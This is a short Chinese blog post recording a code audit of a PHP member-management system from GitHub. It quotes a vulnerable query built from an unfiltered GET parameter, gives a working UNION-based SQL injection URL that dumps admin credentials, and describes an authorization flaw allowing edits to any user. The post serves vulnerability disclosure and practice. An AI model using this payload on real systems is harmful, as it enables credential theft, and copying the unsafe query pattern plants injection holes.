1. 程式人生 > >記一次簡單的程式碼審計

記一次簡單的程式碼審計

這段時間在想著做個高校的會員管理系統,所以在chrome上裝了個掘金外掛,今天發現日推推了個類似的PHP寫的小程式

本著能省就省,有自行車還造什麼輪子的原則
於是乎

git clone https://github.com/chaodada/member.git

經過簡單的部署後算是能打開了



後臺UI做的真心差評

然後簡單的看了下程式碼,發現幾個SQL注入和一個越權

SQL注入

程式使用PDO連線資料庫,後臺使用了預編譯SQL指令,沒多大問題
看看前臺使用者處
xiu.php

if (isset($_GET['id'])) {
    $sql = "select id,username,password,integral,**,email from u_users WHERE 1=1 and id={$_GET['id']} ";
    $res = $pdo->query($sql);
    list($id, $username, $password, $integral, $**, $email) = $res->fetch(PDO::FETCH_NUM);
}

很明顯的GET型注入
爆管理員密碼的payload:

http://localhost/member-master/member-master/user/xiu_user.php?id=-37 union select 1,2,group_concat(username,0x2a,password,0x20,mpw),4,5,6 from memsystem.u_admin %23

越權

同樣還是剛才那個位置


id修改後即可更改任意使用者資訊

總結

這套程式距離實用還有不小的距離 適合入門級選手審計練手
程式下載地址:https://github.com/chaodada/member.git